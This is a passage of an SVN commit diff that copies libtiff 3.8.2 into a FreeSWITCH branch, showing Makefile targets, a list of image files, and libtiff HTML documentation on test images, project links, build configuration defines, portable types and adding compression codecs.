+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-dist_docDATA uninstall-info-am
+
+.PHONY: all all-am check check-am clean clean-generic clean-libtool \
+	distclean distclean-generic distclean-libtool distdir dvi \
+	dvi-am html html-am info info-am install install-am \
+	install-data install-data-am install-dist_docDATA install-exec \
+	install-exec-am install-info install-info-am install-man \
+	install-strip installcheck installcheck-am installdirs \
+	maintainer-clean maintainer-clean-generic mostlyclean \
+	mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \
+	uninstall uninstall-am uninstall-dist_docDATA \
+	uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/back.gif

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/back.gif (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/back.gif)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/bali.jpg

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/bali.jpg (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/bali.jpg)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/cat.gif

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/cat.gif (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/cat.gif)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/cover.jpg

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/cover.jpg (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/cover.jpg)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/cramps.gif

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/cramps.gif (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/cramps.gif)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/dave.gif

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/dave.gif (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/dave.gif)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/info.gif

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/info.gif (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/info.gif)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/jello.jpg

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/jello.jpg (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/jello.jpg)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/jim.gif

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/jim.gif (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/jim.gif)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/note.gif

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/note.gif (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/note.gif)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/oxford.gif

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/oxford.gif (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/oxford.gif)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/quad.jpg

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/quad.jpg (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/quad.jpg)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/ring.gif

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/ring.gif (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/ring.gif)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/smallliz.jpg

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/smallliz.jpg (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/smallliz.jpg)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/strike.gif

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/strike.gif (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/strike.gif)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/warning.gif

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images/warning.gif (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images/warning.gif)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/images.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/images.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/images.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/images.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/images.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,41 @@
+<HTML>
+<HEAD>
+<TITLE>
+TIFF Test Images
+</TITLE>
+</HEAD>
+<BODY BGCOLOR=white> 
+<FONT FACE="Arial, Helvetica, Sans">
+<H1>
+<IMG SRC=images/bali.jpg WIDTH=158 HEIGHT=107 ALIGN=left BORDER=1 HSPACE=6>
+TIFF Test Images
+</H1>
+
+<P>
+Test images are available for most formats supported by the library.
+Most of the images included in the test kit are also part of this
+documentation (albeit in TIFF rather than GIF or JFIF).
+The images are kept in a separate archive that should be located in
+the same directory as this software.
+
+<BR CLEAR=left>
+
+<P>
+The latest archive of test images is located at
+<A HREF="ftp://ftp.remotesensing.org/pub/libtiff/pics-3.8.0.tar.gz">
+ftp://ftp.remotesensing.org/pub/libtiff/pics-3.8.0.tar.gz</A>
+
+<P>
+There are two other good sources for TIFF test images:
+the contributed software <B>contrib/dbs</B> includes several
+programs that generate test images suitable for debugging, and
+the <TT>tiffcp</TT> program can be used to generate a variety
+of images with different storage characteristics.
+
+<P>
+<HR>
+
+Last updated: $Date: 2006/01/02 23:50:44 $
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/index.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/index.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/index.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/index.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/index.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,121 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html lang="en">
+<head>
+  <title>LibTIFF - TIFF Library and Utilities</title>
+  <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
+  <meta http-equiv="content-language" content="en">
+  <style type="text/css">
+  <!--
+    th {text-align: left; vertical-align: top; padding-right: 1em; white-space: nowrap}
+  -->
+  </style>
+</head>
+<body lang="en" text="#000000" bgcolor="#ffffff" link="#0000ff" alink="#0000ff" vlink="#0000ff">
+  <h1>LibTIFF - TIFF Library and Utilities</h1>
+  <hr>
+  <table cellspacing="0" cellpadding="0" border="0">
+    <tr>
+      <th>Home Page</th>
+      <td><a href="http://www.remotesensing.org/libtiff/" title="Home of the LibTIFF software">http://www.remotesensing.org/libtiff/</a></td>
+    </tr>
+    <tr>
+      <th>Home Page Mirror</th>
+      <td><a href="http://libtiff.maptools.org/" title="Mirror of the LibTIFF software">http://libtiff.maptools.org/</a></td>
+    </tr>
+    <tr>
+      <th>Latest Stable Release</th>
+      <td><a href="v3.8.2.html">v3.8.2</a></td>
+    </tr>
+    <tr>
+      <th>Latest Development Release</th>
+      <td><a href="v3.8.2.html">v3.8.2</a></td>
+    </tr>
+    <tr>
+      <th>Master Download Site</th>
+      <td><a href="ftp://ftp.remotesensing.org/pub/libtiff">ftp.remotesensing.org</a>, directory pub/libtiff</td>
+    </tr>
+    <tr>
+      <th>Mirror Download Site</th>
+      <td><a href="http://libtiff.maptools.org/dl/">http://libtiff.maptools.org/dl/</a></td>
+    </tr>
+    <tr>
+      <th>Windows Binaries</th>
+      <td><a href="http://gnuwin32.sourceforge.net/packages/libtiff.htm">GnuWin32 Project</a></td>
+    </tr>
+    <tr>
+      <th>Mailing List</th>
+      <td><a href="mailto:tiff@lists.maptools.org">tiff@lists.maptools.org</a>,
+        <a href="http://lists.maptools.org/mailman/listinfo/tiff/">Subscription</a>,
+        <a href="http://www.awaresystems.be/imaging/tiff/tml.html">Archive</a>.
+        Please, read the <a href="http://www.awaresystems.be/imaging/tiff/faq.html">TIFF FAQ</a>
+        before asking questions.</td>
+    </tr>
+    <tr>
+      <th>Anonymous CVS</th>
+      <td><tt>export CVSROOT=:pserver:cvsanon@cvs.maptools.org:/cvs/maptools/cvsroot<br>
+        cvs login # use empty password"<br>
+        cvs checkout libtiff<br></tt></td>
+    </tr>
+  </table>
+  <hr>
+  <p>
+    This software provides support for the <i>Tag Image File Format</i> (TIFF),
+    a widely used format for storing image data.  The latest version of
+    the TIFF specification is <a href="document.html">available on-line</a>
+    in several different formats.
+  </p>
+  <p>
+    Included in this software distribution is a library, libtiff, for
+    reading and writing TIFF, a small collection of tools for doing simple
+    manipulations of TIFF images on UNIX systems,
+    and documentation on the library and
+    tools.  A small assortment of TIFF-related software for UNIX
+    that has been contributed by others is also included.
+  </p>
+  <p>
+    The library, along with associated tool programs, should handle most of
+    your needs for reading and writing TIFF images on 32- and 64-bit
+    machines.  This software can also be used on older 16-bit systems
+    though it may require some effort and you may need to leave out some of
+    the compression support.
+  </p>
+  <p>
+    The software was orginally authored and maintained by Sam Leffler.
+    While he keeps a fatherly eye on the mailing list, he is no longer
+    responsible for day to day maintenance.
+  </p>
+  <p>
+    Questions should be sent to the TIFF mailing list:
+    <a href="mailto:tiff@lists.maptools.org">tiff@lists.maptools.org</a>, with
+    a subscription interface at
+    <a href="http://lists.maptools.org/mailman/listinfo/tiff">http://lists.maptools.org/mailman/listinfo/tiff</a>.
+  </p>
+  <p>
+    The persons responsible for putting up this site and putting together
+    versions &gt;= 3.5.1 are
+    <a href="http://pobox.com/~warmerdam">Frank Warmerdam</a>,
+    <a href="mailto:dron@ak4719.spb.edu">Andrey Kiselev</a> and Mike Welles.
+  </p>
+  <p>
+    The following sections are included in this documentation:
+  </p>
+  <ul>
+    <li><a href="support.html">TIFF 6.0 specification coverage</a></li>
+    <li><a href="libtiff.html">Using the TIFF Library</a></li>
+    <li><a href="internals.html">Modifying the TIFF Library</a>
+      and <a href="addingtags.html">Adding New Tags</a></li>
+    <li><a href="tools.html">TIFF tools overview</a></li>
+    <li><a href="contrib.html">Contributed software</a></li>
+    <li><a href="document.html">TIFF documentation</a></li>
+    <li><a href="build.html">Building the software distribution</a></li>
+    <li><a href="bugs.html">Bugs, Bugzilla, and the TIFF mailing list</a></li>
+    <li><a href="images.html">Test images</a></li>
+    <li><a href="misc.html">Acknowledgements and copyright issues</a></li>
+    <li><a href="man/index.html">Man Pages</a></li>
+  </ul>
+  <hr>
+  <p>
+    Last updated  $Date: 2006/03/23 14:54:01 $.
+  </p>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/internals.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/internals.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/internals.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/internals.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/internals.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,572 @@
+<HTML>
+<HEAD>
+<TITLE>
+Modifying The TIFF Library
+</TITLE>
+</HEAD>
+<BODY BGCOLOR=white> 
+<FONT FACE="Arial, Helvetica, Sans">
+<H1>
+<IMG SRC=images/dave.gif WIDTH=107 HEIGHT=148 BORDER=2 ALIGN=left HSPACE=6>
+Modifying The TIFF Library
+</H1>
+
+
+<P>
+This chapter provides information about the internal structure of
+the library, how to control the configuration when building it, and
+how to add new support to the library.
+The following sections are found in this chapter:
+
+<UL>
+<LI><A HREF=#Config>Library Configuration</A>
+<LI><A HREF=#Portability>General Portability Comments</A>
+<LI><A HREF="#Types">Types and Portability</A>
+<LI><A HREF="addingtags.html">Adding New Tags</A>
+<LI><A HREF=#AddingCODECS>Adding New Builtin Codecs</A>
+<LI><A HREF="addingtags.html#AddingCODECTags">Adding New Codec-private Tags</A>
+<LI><A HREF=#Other>Other Comments</A>
+</UL>
+
+
+<A NAME="Config"><P><HR WIDTH=65% ALIGN=right><H3>Library Configuration</H3></A>
+
+Information on compiling the library is given
+<A HREF=build.html>elsewhere in this documentation</A>.
+This section describes the low-level mechanisms used to control
+the optional parts of the library that are configured at build
+time.   Control is based on
+a collection of C defines that are specified either on the compiler
+command line or in a configuration file such as <TT>port.h</TT>
+(as generated by the <TT>configure</TT> script for UNIX systems)
+or <B>tiffconf.h</B>.
+
+<P>
+Configuration defines are split into three areas:
+<UL>
+<LI>those that control which compression schemes are
+    configured as part of the builtin codecs,
+<LI>those that control support for groups of tags that
+    are considered optional, and
+<LI>those that control operating system or machine-specific support.
+</UL>
+
+<P>
+If the define <TT>COMPRESSION_SUPPORT</TT> is <STRONG>not defined</STRONG>
+then a default set of compression schemes is automatically
+configured:
+<UL>
+<LI>CCITT Group 3 and 4 algorithms (compression codes 2, 3, 4, and 32771),
+<LI>the Macintosh PackBits algorithm (compression 32773),
+<LI>a 4-bit run-length encoding scheme from ThunderScan (compression 32809),
+<LI>a 2-bit encoding scheme used by NeXT (compression 32766), and
+<LI>two experimental schemes intended for images with high dynamic range
+(compression 34676 and 34677).
+</UL>
+
+<P>
+
+To override the default compression behaviour define
+<TT>COMPRESSION_SUPPORT</TT> and then one or more additional defines
+to enable configuration of the appropriate codecs (see the table
+below); e.g.
+
+<UL><PRE>
+#define	COMPRESSION_SUPPORT
+#define	CCITT_SUPPORT
+#define	PACKBITS_SUPPORT
+</PRE></UL>
+
+Several other compression schemes are configured separately from
+the default set because they depend on ancillary software
+packages that are not distributed with <TT>libtiff</TT>.
+
+<P>
+Support for JPEG compression is controlled by <TT>JPEG_SUPPORT</TT>.
+The JPEG codec that comes with <TT>libtiff</TT> is designed for
+use with release 5 or later of the Independent JPEG Group's freely
+available software distribution.
+This software can be retrieved from the directory
+<A HREF=ftp://ftp.uu.net/graphics/jpeg>ftp.uu.net:/graphics/jpeg/</A>.
+
+
+<P>
+<IMG SRC="images/info.gif" ALT="NOTE: " ALIGN=left HSPACE=8>
+<EM>Enabling JPEG support automatically enables support for
+the TIFF 6.0 colorimetry and YCbCr-related tags.</EM>
+
+<P>
+Experimental support for the deflate algorithm is controlled by
+<TT>DEFLATE_SUPPORT</TT>.
+The deflate codec that comes with <TT>libtiff</TT> is designed
+for use with version 0.99 or later of the freely available
+<TT>libz</TT> library written by Jean-loup Gailly and Mark Adler.
+The data format used by this library is described
+in the files
+<A HREF=ftp://ftp.uu.net/pub/archiving/zip/doc/zlib-3.1.doc>zlib-3.1.doc</A>,
+and
+<A HREF=ftp://ftp.uu.net/pub/archiving/zip/doc/deflate-1.1.doc>deflate-1.1.doc</A>,
+available in the directory
+<A HREF=ftp://ftp.uu.net/pub/archiving/zip/doc>ftp.uu.net:/pub/archiving/zip/doc</A>.</EM>
+The library can be retried from the directory
+<A HREF=ftp://ftp.uu.net/pub/archiving/zip/zlib/>ftp.uu.net:/pub/archiving/zip/zlib/</A>
+(or try <A HREF=ftp://quest.jpl.nasa.gov/beta/zlib/>quest.jpl.nasa.gov:/beta/zlib/</A>).
+
+<P>
+<IMG SRC="images/warning.gif" ALT="NOTE: " ALIGN=left HSPACE=8 VSPACE=6>
+<EM>The deflate algorithm is experimental.  Do not expect
+to exchange files using this compression scheme;
+it is included only because the similar, and more common,
+LZW algorithm is claimed to be governed by licensing restrictions.</EM>
+
+
+<P>
+By default <B>tiffconf.h</B> defines
+<TT>COLORIMETRY_SUPPORT</TT>, 
+<TT>YCBCR_SUPPORT</TT>,
+and 
+<TT>CMYK_SUPPORT</TT>.
+
+<P>
+<TABLE BORDER CELLPADDING=3>
+
+<TR><TH ALIGN=left>Define</TH><TH ALIGN=left>Description</TH></TR>
+
+<TR>
+<TD VALIGN=top><TT>CCITT_SUPPORT</TT></TD>
+<TD>CCITT Group 3 and 4 algorithms (compression codes 2, 3, 4,
+    and 32771)</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>PACKBITS_SUPPORT</TT></TD>
+<TD>Macintosh PackBits algorithm (compression 32773)</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>LZW_SUPPORT</TT></TD>
+<TD>Lempel-Ziv & Welch (LZW) algorithm (compression 5)</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>THUNDER_SUPPORT</TT></TD>
+<TD>4-bit
+run-length encoding scheme from ThunderScan (compression 32809)</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>NEXT_SUPPORT</TT></TD>
+<TD>2-bit encoding scheme used by NeXT (compression 32766)</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>OJPEG_SUPPORT</TT></TD>
+<TD>obsolete JPEG scheme defined in the 6.0 spec (compression 6)</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>JPEG_SUPPORT</TT></TD>
+<TD>current JPEG scheme defined in TTN2 (compression 7)</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>ZIP_SUPPORT</TT></TD>
+<TD>experimental Deflate scheme (compression 32946)</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>PIXARLOG_SUPPORT</TT></TD>
+<TD>Pixar's compression scheme for high-resolution color images (compression 32909)</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>SGILOG_SUPPORT</TT></TD>
+<TD>SGI's compression scheme for high-resolution color images (compression 34676 and 34677)</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>COLORIMETRY_SUPPORT</TT></TD>
+<TD>support for the TIFF 6.0 colorimetry tags</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>YCBCR_SUPPORT</TT></TD>
+<TD>support for the TIFF 6.0 YCbCr-related tags</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>CMYK_SUPPORT</TT></TD>
+<TD>support for the TIFF 6.0 CMYK-related tags</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>ICC_SUPPORT</TT></TD>
+<TD>support for the ICC Profile tag; see
+<I>The ICC Profile Format Specification</I>,
+Annex B.3 "Embedding ICC Profiles in TIFF Files";
+available at
+<A HREF=http://www.color.org>http://www.color.org</A>
+</TD>
+</TR>
+
+</TABLE>
+
+
+<A NAME="Portability"><P><HR WIDTH=65% ALIGN=right><H3>General Portability Comments</H3></A>
+
+This software is developed on Silicon Graphics UNIX
+systems (big-endian, MIPS CPU, 32-bit ints,
+IEEE floating point). 
+The <TT>configure</TT> shell script generates the appropriate
+include files and make files for UNIX systems.
+Makefiles exist for non-UNIX platforms that the
+code runs on -- this work has mostly been done by other people.
+
+<P>
+In general, the code is guaranteed to work only on SGI machines.
+In practice it is highly portable to any 32-bit or 64-bit system and much
+work has been done to insure portability to 16-bit systems.
+If you encounter portability problems please return fixes so
+that future distributions can be improved.
+
+<P>
+The software is written to assume an ANSI C compilation environment.
+If your compiler does not support ANSI function prototypes, <TT>const</TT>,
+and <TT>&lt;stdarg.h&gt;</TT> then you will have to make modifications to the
+software.  In the past I have tried to support compilers without <TT>const</TT>
+and systems without <TT>&lt;stdarg.h&gt;</TT>, but I am
+<EM>no longer interested in these
+antiquated environments</EM>.  With the general availability of
+the freely available GCC compiler, I
+see no reason to incorporate modifications to the software for these
+purposes.
+
+<P>
+An effort has been made to isolate as many of the
+operating system-dependencies
+as possible in two files: <B>tiffcomp.h</B> and
+<B>libtiff/tif_&lt;os&gt;.c</B>.  The latter file contains
+operating system-specific routines to do I/O and I/O-related operations.
+The UNIX (<B>tif_unix.c</B>),
+Macintosh (<B>tif_apple.c</B>),
+and VMS (<B>tif_vms.c</B>)
+code has had the most use;
+the MS/DOS support (<B>tif_msdos.c</B>) assumes
+some level of UNIX system call emulation (i.e.
+<TT>open</TT>,
+<TT>read</TT>,
+<TT>write</TT>,
+<TT>fstat</TT>,
+<TT>malloc</TT>,
+<TT>free</TT>).
+
+<P>
+Native CPU byte order is determined on the fly by
+the library and does not need to be specified.
+The <TT>HOST_FILLORDER</TT> and <TT>HOST_BIGENDIAN</TT>
+definitions are not currently used, but may be employed by
+codecs for optimization purposes.
+
+<P>
+The following defines control general portability:
+
+<P>
+<TABLE BORDER CELLPADDING=3 WIDTH=100%>
+
+<TR>
+<TD VALIGN=top><TT>BSDTYPES</TT></TD>
+<TD>Define this if your system does NOT define the
+		usual BSD typedefs: <TT>u_char</TT>,
+		<TT>u_short</TT>, <TT>u_int</TT>, <TT>u_long</TT>.</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>HAVE_IEEEFP</TT></TD>
+<TD>Define this as 0 or 1 according to the floating point
+		format suported by the machine.  If your machine does
+		not support IEEE floating point then you will need to
+		add support to tif_machdep.c to convert between the
+		native format and IEEE format.</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>HAVE_MMAP</TT></TD>
+<TD>Define this if there is <I>mmap-style</I> support for
+mapping files into memory (used only to read data).</TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>HOST_FILLORDER</TT></TD>
+<TD>Define the native CPU bit order: one of <TT>FILLORDER_MSB2LSB</TT>
+ or <TT>FILLORDER_LSB2MSB</TT></TD>
+</TR>
+
+<TR>
+<TD VALIGN=top><TT>HOST_BIGENDIAN</TT></TD>
+<TD>Define the native CPU byte order: 1 if big-endian (Motorola)
+ or 0 if little-endian (Intel); this may be used
+ in codecs to optimize code</TD>
+</TR>
+</TABLE>
+
+<P>
+On UNIX systems <TT>HAVE_MMAP</TT> is defined through the running of
+the <TT>configure</TT> script; otherwise support for memory-mapped
+files is disabled.
+Note that <B>tiffcomp.h</B> defines <TT>HAVE_IEEEFP</TT> to be
+1 (<TT>BSDTYPES</TT> is not defined).
+
+
+<A NAME="Types"><P><HR WIDTH=65% ALIGN=right><H3>Types and Portability</H3></A>
+
+The software makes extensive use of C typedefs to promote portability.
+Two sets of typedefs are used, one for communication with clients
+of the library and one for internal data structures and parsing of the
+TIFF format.  There are interactions between these two to be careful
+of, but for the most part you should be able to deal with portability
+purely by fiddling with the following machine-dependent typedefs:
+
+
+<P>
+<TABLE BORDER CELLPADDING=3 WIDTH=100%>
+
+<TR>
+<TD>uint8</TD>
+<TD>8-bit unsigned integer</TD>
+<TD>tiff.h</TD>
+</TR>
+
+<TR>
+<TD>int8</TD>
+<TD>8-bit signed integer</TD>
+<TD>tiff.h</TD>
+</TR>
+
+<TR>
+<TD>uint16</TD>
+<TD>16-bit unsigned integer</TD>
+<TD>tiff.h</TD>
+</TR>
+
+<TR>
+<TD>int16</TD>
+<TD>16-bit signed integer</TD>
+<TD>tiff.h</TD>
+</TR>
+
+<TR>
+<TD>uint32</TD>
+<TD>32-bit unsigned integer</TD>
+<TD>tiff.h</TD>
+</TR>
+
+<TR>
+<TD>int32</TD>
+<TD>32-bit signed integer</TD>
+<TD>tiff.h</TD>
+</TR>
+
+<TR>
+<TD>dblparam_t</TD>
+<TD>promoted type for floats</TD>
+<TD>tiffcomp.h</TD>
+</TR>
+
+</TABLE>
+
+<P>
+(to clarify <TT>dblparam_t</TT>, it is the type that float parameters are
+promoted to when passed by value in a function call.)
+
+<P>
+The following typedefs are used throughout the library and interfaces
+to refer to certain objects whose size is dependent on the TIFF image
+structure:
+
+
+<P>
+<TABLE BORDER CELLPADDING=3 WIDTH=100%>
+
+<TR>
+<TD WIDTH=25%>typedef unsigned int ttag_t;</TD>	<TD>directory tag</TD>
+</TR>
+
+<TR>
+<TD>typedef uint16 tdir_t;</TD>		<TD>directory index</TD>
+</TR>
+
+<TR>
+<TD>typedef uint16 tsample_t;</TD>	<TD>sample number</TD>
+</TR>
+
+<TR>
+<TD>typedef uint32 tstrip_t;</TD>	<TD>strip number</TD>
+</TR>
+
+<TR>
+<TD>typedef uint32 ttile_t;</TD>		<TD>tile number</TD>
+</TR>
+
+<TR>
+<TD>typedef int32 tsize_t;</TD>		<TD>i/o size in bytes</TD>
+</TR>
+
+<TR>
+<TD>typedef void* tdata_t;</TD>		<TD>image data ref</TD>
+</TR>
+
+<TR>
+<TD>typedef void* thandle_t;</TD>	<TD>client data handle</TD>
+</TR>
+
+<TR>
+<TD>typedef int32 toff_t;</TD>		<TD>file offset (should be off_t)</TD>
+</TR>
+
+<TR>
+<TD>typedef unsigned char* tidata_t;</TD> <TD>internal image data</TD>
+</TR>
+
+</TABLE>
+
+<P>
+Note that <TT>tstrip_t</TT>, <TT>ttile_t</TT>, and <TT>tsize_t</TT>
+are constrained to be
+no more than 32-bit quantities by 32-bit fields they are stored
+in in the TIFF image.  Likewise <TT>tsample_t</TT> is limited by the 16-bit
+field used to store the <TT>SamplesPerPixel</TT> tag.  <TT>tdir_t</TT>
+constrains
+the maximum number of IFDs that may appear in an image and may
+be an arbitrary size (without penalty).  <TT>ttag_t</TT> must be either
+<TT>int</TT>, <TT>unsigned int</TT>, pointer, or <TT>double</TT>
+because the library uses a varargs
+interface and ANSI C restricts the type of the parameter before an
+ellipsis to be a promoted type.  <TT>toff_t</TT> is defined as
+<TT>int32</TT> because
+TIFF file offsets are (unsigned) 32-bit quantities.  A signed
+value is used because some interfaces return -1 on error (sigh).
+Finally, note that <TT>tidata_t</TT> is used internally to the library to
+manipulate internal data.  User-specified data references are
+passed as opaque handles and only cast at the lowest layers where
+their type is presumed.
+
+
+<P><HR WIDTH=65% ALIGN=right><H3>General Comments</H3></A>
+
+The library is designed to hide as much of the details of TIFF from
+applications as
+possible.  In particular, TIFF directories are read in their entirety
+into an internal format.  Only the tags known by the library are
+available to a user and certain tag data may be maintained that a user
+does not care about (e.g. transfer function tables).
+
+<A NAME=AddingCODECS><P><HR WIDTH=65% ALIGN=right><H3>Adding New Builtin Codecs</H3></A>
+
+To add builtin support for a new compression algorithm, you can either
+use the "tag-extension" trick to override the handling of the
+TIFF Compression tag (see <A HREF=addingtags.html>Adding New Tags</A>), 
+or do the following to add support directly to the core library:
+
+<OL>
+<LI>Define the tag value in <B>tiff.h</B>.
+<LI>Edit the file <B>tif_codec.c</B> to add an entry to the
+   _TIFFBuiltinCODECS array (see how other algorithms are handled).
+<LI>Add the appropriate function prototype declaration to
+   <B>tiffiop.h</B> (close to the bottom).
+<LI>Create a file with the compression scheme code, by convention files
+   are named <B>tif_*.c</B> (except perhaps on some systems where the
+   tif_ prefix pushes some filenames over 14 chars.
+<LI>Edit <B>Makefile.in</B> (and any other Makefiles)
+   to include the new source file.
+</OL>
+
+<P>
+A codec, say <TT>foo</TT>, can have many different entry points:
+
+<PRE>
+TIFFInitfoo(tif, scheme)/* initialize scheme and setup entry points in tif */
+fooSetupDecode(tif)	/* called once per IFD after tags has been frozen */
+fooPreDecode(tif, sample)/* called once per strip/tile, after data is read,
+			    but before the first row is decoded */
+fooDecode*(tif, bp, cc, sample)/* decode cc bytes of data into the buffer */
+    fooDecodeRow(...)	/* called to decode a single scanline */
+    fooDecodeStrip(...)	/* called to decode an entire strip */
+    fooDecodeTile(...)	/* called to decode an entire tile */
+fooSetupEncode(tif)	/* called once per IFD after tags has been frozen */
+fooPreEncode(tif, sample)/* called once per strip/tile, before the first row in
+			    a strip/tile is encoded */
+fooEncode*(tif, bp, cc, sample)/* encode cc bytes of user data (bp) */
+    fooEncodeRow(...)	/* called to decode a single scanline */
+    fooEncodeStrip(...)	/* called to decode an entire strip */
+    fooEncodeTile(...)	/* called to decode an entire tile */
+fooPostEncode(tif)	/* called once per strip/tile, just before data is written */
+fooSeek(tif, row)	/* seek forwards row scanlines from the beginning
+			   of a strip (row will always be &gt;0 and &lt;rows/strip */
+fooCleanup(tif)		/* called when compression scheme is replaced by user */
+</PRE>
+
+<P>
+Note that the encoding and decoding variants are only needed when
+a compression algorithm is dependent on the structure of the data.
+For example, Group 3 2D encoding and decoding maintains a reference
+scanline.  The sample parameter identifies which sample is to be
+encoded or decoded if the image is organized with <TT>PlanarConfig</TT>=2
+(separate planes).  This is important for algorithms such as JPEG.
+If <TT>PlanarConfig</TT>=1 (interleaved), then sample will always be 0.
+
+<A NAME=Other><P><HR WIDTH=65% ALIGN=right><H3>Other Comments</H3></A>
+
+The library handles most I/O buffering.  There are two data buffers
+when decoding data: a raw data buffer that holds all the data in a
+strip, and a user-supplied scanline buffer that compression schemes
+place decoded data into.  When encoding data the data in the
+user-supplied scanline buffer is encoded into the raw data buffer (from
+where it is written).  Decoding routines should never have to explicitly
+read data -- a full strip/tile's worth of raw data is read and scanlines
+never cross strip boundaries.  Encoding routines must be cognizant of
+the raw data buffer size and call <TT>TIFFFlushData1()</TT> when necessary.
+Note that any pending data is automatically flushed when a new strip/tile is
+started, so there's no need do that in the tif_postencode routine (if
